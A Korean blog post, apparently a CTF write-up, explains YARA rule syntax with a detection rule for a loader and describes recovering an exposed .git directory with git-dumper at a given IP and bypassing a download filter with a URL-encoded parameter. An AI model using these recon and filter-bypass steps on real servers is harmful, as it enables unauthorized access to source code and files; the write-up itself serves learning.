총 72글자를 합쳐보면 fiesta{847c09ca20e5b5ead58d1cd65964a050bb4ecc023fe18a736d6b8ad5ffcc266c} 라는 플래그가 출력되는데 처음에는 정답이 아니라고 나와 당황했지만 문의해보니 복수정답으로 인정해주셨다. 본래 의도하던 정답이 뭐였는지는 아직 공식이나 다른사람 write up이 올라오지않아 알 수 없었다.
Malware Hunter
주어진 악성코드를 분석하고 특징적인 패턴을 찾아내 yara rule을 작성하는 문제였다
나는 당시에 yara가 뭔지 몰라서 gpt를 사용해 풀었는데. yara의 개념을 잠깐 설명하자면
VirusTotal에서 제작한 악성코드의 패턴을 사용하여 악성코드의 특성과 행위를 기준으로 분류하는 도구라고 한다.
일종의 yara rule이란 yara를 위한 양식이라고 생각하면 될 것같다.
구성은 아래와 같이 되어있다
rule smaple //룰 이름
{
meta: //설명
author = ""
type = ""
filetype = ""
version = ""
date = ""
description = ""
strings:
&str = "" //텍스트 스트링 형태
&hex = {} //hex 스트링 형태
$re = // //정규표현식 형태
condition:
all of them //모든 스트링에 적용
}
meta
설명을 위한 주석이다
strings
텍스트 스트링 , hex 스트링, 정규 표현식 형태로 작성할 수 있다. 여기에 사용된 식별자를 이용하여 condition 구문을 작성한다.
식별자는 앞에 $를 붙인다.
텍스트 스트링 ""사이에 작성하며 대소문자를 구분한다.
hex 스트링 {}사이에 작성하며 {3 10 F2 A3 A?} 처럼 와일드카드를 사용할 수도 있다.
정규표현식 //사이에 작성하며 정규표현식 기준은 Perl을 따른다.
conditions
Boolean 값으로만 결과가 나타난다.
all of them : 모든 스트링에 적용
any of them : 스트링 중 최소 하나 적용
all of ($a) : &a로 시작되는 모든 스트링에 적용
any of (&a,&b,&c)* : &a,&b,&c 중 최소 하나 적용
출처:
https://velog.io/@tatamo2966/Yara%EC%9D%98-%EA%B0%9C%EB%85%90%EA%B3%BC-Yara-Rule-%EC%84%A4%EB%AA%85
exploit code
rule APT_Loader_PseudoReloc_Family_v1
{
meta:
author = "analyst"
type = "loader"
filetype = "pe/exe"
version = "1.0"
date = "2025-09-27"
description = "minimal"
strings:
$mz = "MZ"
$peh = "PE\0\0"
$s1 = "Unknown pseudo relocation bit size %d."
$s2 = "Unknown pseudo relocation protocol version %d."
$s3 = "VirtualProtect failed with code 0x%x"
$s4 = "VirtualQuery failed for %d bytes at address %p"
$s5 = "[^_A\\A]A^]"
$api1 = "IsDebuggerPresent"
$api2 = "CreateToolhelp32Snapshot"
$api3 = "WriteProcessMemory"
$api4 = "URLDownloadToFileA"
$api5 = "WSAStartup"
condition:
any of them
}
처음엔 계속 문법오류가 났었는데 condition을 any of them으로 적용해주니 플래그를 획득할 수 있었다.
WEB Treasure Hunt
웹서버에 숨겨진 구성파일과 소스코드를 찾아서 취약점을 찾아내라는 블랙박스 형태의 문제였다.
기본적으로 구현이 되어있는 부분도 얼마없었고, 그마저도 서버로 통신하지 않아 엔드포인트가 다른 곳이 열려있는지 찾아보기 시작하던 중 /.git 이 열렸던 것을 확인할 수 있었다.

디렉토리에는 pack 파일도 있었기에 git-dumper라는 도구를 사용해서 레포지토리를 복구할 수 있었다
python3 git_dumper.py http://3.35.228.160/.git/ ./repo_dump

복구된 notice.php에서 get메서드로 파일을 다운로드할 수있는 api가 열려있는 것을 확인할 수 있었고, 여기서 좀 해맸는데 download 엔드포인트에 필터링이 걸려있어서 작동되지않았고 내가 뭐가 잘못접근했나 다른 방법을 시도하느라 시간낭비를 엄청했다.
사실은 쿼리패러미터에 필터링이 걸려있었고 http://3.35.228.160/notice.php?%64ownload=flag.txt 이런식으로 url인코딩을 해주니 flag를 다운로드 받을 수 있었다.

이렇게 총 4문제를 풀었고 마이크체크와 시나리오 오류로 모두에게 점수를 부여한 2문제가 더해지니 7문제가 풀린걸로 기록이 되었는데, 대회가 끝나고 등수를 확인해보니 42등에 남아있었다.

혼자 하루밖에 투자안했는데 122팀중 42위면 나쁘지않을지도?라는 생각이 들었던 하루였다. 해킹 카테고리를 여기저기 찍먹하면서 공부했던 경험이 혼자 푸는데 도움이 됐던 것 같다.
'review 및 write up' 카테고리의 다른 글
| osu!CTF2025 [Forensics]map-dealer write up (0) | 2025.10.29 |
|---|---|
| H7CTF write up 및 후기(feat. RubiyaLab) (0) | 2025.10.21 |
| SPACE WAR - Earth Write UP 및 후기 (0) | 2025.09.28 |
| CCE2025 예선 write up 및 후기 (1) | 2025.08.20 |
| 2025핵테온 세종CTF 리뷰 (0) | 2025.04.27 |